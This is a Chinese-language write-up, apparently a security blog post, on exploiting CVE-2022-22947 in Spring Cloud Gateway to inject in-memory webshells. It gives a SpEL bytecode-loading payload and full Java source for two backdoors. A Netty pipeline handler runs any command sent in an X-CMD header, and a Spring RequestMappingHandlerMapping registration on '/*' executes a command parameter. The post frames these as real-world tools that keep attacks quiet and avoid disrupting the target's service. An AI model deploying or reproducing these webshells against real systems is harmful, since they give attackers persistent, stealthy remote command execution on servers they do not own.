最进小火的漏洞’CVE-2022-22947’虽然原理简单，但是实战利用还是有点小麻烦。目前公开的利用是每执行一条命就得注册一条路由，refresh一下网关，最后在访问这个路由。先不说步骤较多，就是频繁刷新会影响业务。实战当中注入一个内存马才是硬道理！

0x00 背景

最进小火的漏洞CVE-2022-22947虽然原理简单，但是实战利用还是有点小麻烦。目前公开的利用是每执行一条命就得注册一条路由，refresh一下网关，最后在访问这个路由。先不说步骤较多，就是频繁刷新会影响业务。实战当中注入一个内存马才是硬道理！

spring cloud gateway的web服务是netty+spring构建的，netty的web服务没有遵循servlet规范来设计。这也导致了构造它的内存马，与常规中间件有所不同，从某种程度来讲是这是一种新类型的内存马。

下面以vulhub中的spring cloud gateway 3.1.0作为环境，来分享下构造netty层和spring层的内存马，其他版本思路相同。

0x01 高可用Payload

Spring cloud gateway对payload的稳定性要求比较高，一旦报错是由可能会影响业务的。所以在开始之前，我们需要先构造一个"优质"的SPEL执行java字节码的payload。

我主要对payload进行了如下的优化：

解决BCEL/js引擎兼容性问题
解决base64在不同版本jdk的兼容问题
可多次运行同类名字节码
解决可能导致的ClassNotFound问题

#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL\[0\],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}

0x02 netty层内存马

netty处理http请求是构建一条责任链pipline,http请求会被链上的handler会依次来处理。所以我们的内存马其实就是一个handler。

不像常规的中间件，filter/servlet/listener组件有一个统一的维护对象。netty每一个请求过来，都是动态构造pipeline，pipeline上的handler都是在这个时候new的。负责给pipeline添加handler是ChannelPipelineConfigurer(下面简称为configurer)，因此注入netty内存马的关键是分析configurer如何被netty管理和工作的。

CompositeChannelPipelineConfigurer#compositeChannelPipelineConfigurer是为pipeline选择configurer的关键逻辑。第一个参数是Spring cloud gateway默认的configurer，第二个是用户额外配置的。一般情况下第一个参数是不为空配置，第二个参数为空配置，所以返回的configurer是Spring cloud gateway默认的。

如果我们能够设置第二个other参数不为空配置呢？那么这两个configurer将被合并为一个新CompositeChannelPipelineConfigurer。

// reactor.netty.ReactorNetty.CompositeChannelPipelineConfigurer#compositeChannelPipelineConfigurer  
static ChannelPipelineConfigurer compositeChannelPipelineConfigurer(ChannelPipelineConfigurer configurer, ChannelPipelineConfigurer other) {  
  if (configurer \== ChannelPipelineConfigurer.emptyConfigurer()) { // 默认configurer是无操作空配置  
return other;  
   } else if (other \== ChannelPipelineConfigurer.emptyConfigurer()) { // 其他额外configurer是无操作空配置  
return configurer;  
   } else {  
 ......  
ChannelPipelineConfigurer\[\] newConfigurers \= new ChannelPipelineConfigurer\[length\];  
int pos;  
if (thizConfigurers != null) {  
  pos \= thizConfigurers.length;  
  System.arraycopy(thizConfigurers, 0, newConfigurers, 0, pos);  
 } else {  
  pos \= 1;  
  newConfigurers\[0\] \= configurer; // 将默认configurer存储到新configurer  
 }  
  
if (otherConfigurers != null) {
  System.arraycopy(otherConfigurers, 0, newConfigurers, pos, otherConfigurers.length);
 } else {
  newConfigurers[pos] = other; // 将其他额外configurer存储到新configurer  
 }
// 合并成新的configurer  
return new ReactorNetty.CompositeChannelPipelineConfigurer(newConfigurers);
   }
}

CompositeChannelPipelineConfigurer会循环调用所有合并进来configurer来对pipeline添加handler。

// reactor.netty.ReactorNetty.CompositeChannelPipelineConfigurer  
static final class CompositeChannelPipelineConfigurer implements ChannelPipelineConfigurer {  
final ChannelPipelineConfigurer\[\] configurers;  
  
CompositeChannelPipelineConfigurer(ChannelPipelineConfigurer[] configurers) {
  this.configurers = configurers;
 }  
public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, @Nullable SocketAddress remoteAddress) {
  ChannelPipelineConfigurer[] var4 = this.configurers;
  int var5 = var4.length;
  // 循环调用所有configurer对pipeline设置handler  
  for(int var6 = 0; var6 < var5; ++var6) {
ChannelPipelineConfigurer configurer = var4[var6];
configurer.onChannelInit(connectionObserver, channel, remoteAddress);
   }  
 }
}

因此我们可以通过修改other参数为自己的configurer向pipline中添加内存马。翻阅源码发现reactor.netty.transport.TransportConfig类的doOnChannelInit属性存储着other参数，我使用java-object-searcher以doOnChannelInit为关键字，定位出了它在线程对象的位置。

TargetObject = {\[Ljava.lang.Thread;}   
  ---> \[3\] = {org.springframework.boot.web.embedded.netty.NettyWebServer$1} = {org.springframework.boot.web.embedded.netty.NettyWebServer$1}   
   ---> val$disposableServer = {reactor.netty.transport.ServerTransport$InetDisposableBind}   
   ---> config = {reactor.netty.http.server.HttpServerConfig}   
 ---> doOnChannelInit = {reactor.netty.ReactorNetty$$Lambda$391/236567414}

最终内存马构造如下：

public class NettyMemshell extends ChannelDuplexHandler implements ChannelPipelineConfigurer {  
  public static String doInject(){  
String msg \= "inject-start";  
try {  
  Method getThreads \= Thread.class.getDeclaredMethod("getThreads");  
  getThreads.setAccessible(true);  
  Object threads \= getThreads.invoke(null);  
  
  for (int i = 0; i < Array.getLength(threads); i++) {
Object thread = Array.get(threads, i);
if (thread != null && thread.getClass().getName().contains(“NettyWebServer”)) {
  Field _val$disposableServer = thread.getClass().getDeclaredField(“val$disposableServer“);
  _val$disposableServer.setAccessible(true);
  Object val$disposableServer = _val$disposableServer.get(thread);
  Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField(“config”);
  _config.setAccessible(true);
  Object config = _config.get(val$disposableServer);
  Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField(“doOnChannelInit”);
  _doOnChannelInit.setAccessible(true);
  _doOnChannelInit.set(config, new NettyMemshell());
  msg = “inject-success”;
 }
   }
 }catch (Exception e){
  msg = “inject-error”;
 }
return msg;
   }
  @Override
  // Step1. 作为一个ChannelPipelineConfigurer给pipline注册Handler  
  public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) {
ChannelPipeline pipeline = channel.pipeline();
// 将内存马的handler添加到spring层handler的前面  
pipeline.addBefore(“reactor.left.httpTrafficHandler”,“memshell_handler”,new NettyMemshell());
   }  
  @Override
  // Step2. 作为Handler处理请求，在此实现内存马的功能逻辑  
  public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
if(msg instanceof HttpRequest){
  HttpRequest httpRequest = (HttpRequest)msg;
  try {
if(httpRequest.headers().contains(“X-CMD”)) {
  String cmd = httpRequest.headers().get(“X-CMD”);
  String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(“\\A”).next();
  // 返回执行结果  
  send(ctx, execResult, HttpResponseStatus.OK);
  return;
 }
   }catch (Exception e){
e.printStackTrace();
   }
 }
ctx.fireChannelRead(msg);
   }  
  private void send(ChannelHandlerContext ctx, String context, HttpResponseStatus status) {
FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context, CharsetUtil.UTF_8));
response.headers().set(HttpHeaderNames.CONTENT_TYPE, “text/plain; charset=UTF-8”);
ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
   }
}

netty内存马执行效果

0x03 Spring层内存马

Spring层request请求处理组件很多，有handler/Adapter/Filter等等，理论上都可以拿来做内存马，这里我分享下最简单的RequestMappingHandler。

Spring cloud gateway主要的路由分发主要由org.springframework.web.reactive.DispatcherHandler类和它三个组件来完成

org.springframework.web.reactive.HandlerMapping 路由比配器
org.springframework.web.reactive.HandlerAdapter handler适配器
org.springframework.web.reactive.HandlerResultHandler 结果处理器

具体逻辑如下：

// org.springframework.web.reactive.DispatcherHandler#handle  
public Mono<Void\> handle(ServerWebExchange exchange) {  
  return this.handlerMappings \== null ? this.createNotFoundError() : Flux.fromIterable(this.handlerMappings).concatMap((mapping) \-> {  
return mapping.getHandler(exchange); // Step1. 使用HandlerMapping匹配路由  
   }).next().switchIfEmpty(this.createNotFoundError()).flatMap((handler) \-> {  
return this.invokeHandler(exchange, handler); // Step2. 使用具体HandlerAdapter来处理具体请求  
   }).flatMap((result) \-> {  
return this.handleResult(exchange, result); // Step3. 使用适合的HandlerResultHandler来处理返回的结果  
   });  
}

基于这个流程，我们可以梳理出一个构造内存马的思路。让HandlerMapping注册一个映射关系，通过映射关系让特定的HandlerAdapter执行到我们的内存马流程，最后内存马返回一个HandlerResultHandler可以处理的结果类型即可。

这里我选择RequestMappingHandlerMapping这个HandlerMapping，来注册一个与使用@RequestMapping("/*")等效的内存马。

RequestMappingHandlerMapping

public class SpringRequestMappingMemshell {  
  public static String doInject(Object requestMappingHandlerMapping) {  
String msg \= "inject-start";  
try {  
  Method registerHandlerMethod \= requestMappingHandlerMapping.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class);  
  registerHandlerMethod.setAccessible(true);  
  Method executeCommand \= SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);  
  PathPattern pathPattern \= new PathPatternParser().parse("/\*");  
  PatternsRequestCondition patternsRequestCondition \= new PatternsRequestCondition(pathPattern);  
  RequestMappingInfo requestMappingInfo \= new RequestMappingInfo("", patternsRequestCondition, null, null, null, null, null, null);  
  registerHandlerMethod.invoke(requestMappingHandlerMapping, new SpringRequestMappingMemshell(), executeCommand, requestMappingInfo);  
  msg \= "inject-success";  
 }catch (Exception e){  
  msg \= "inject-error";  
 }  
return msg;  
   }  
  
  public ResponseEntity executeCommand(String cmd) throws IOException {
String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(“\\A”).next();
return new ResponseEntity(execResult, HttpStatus.OK);
   }
}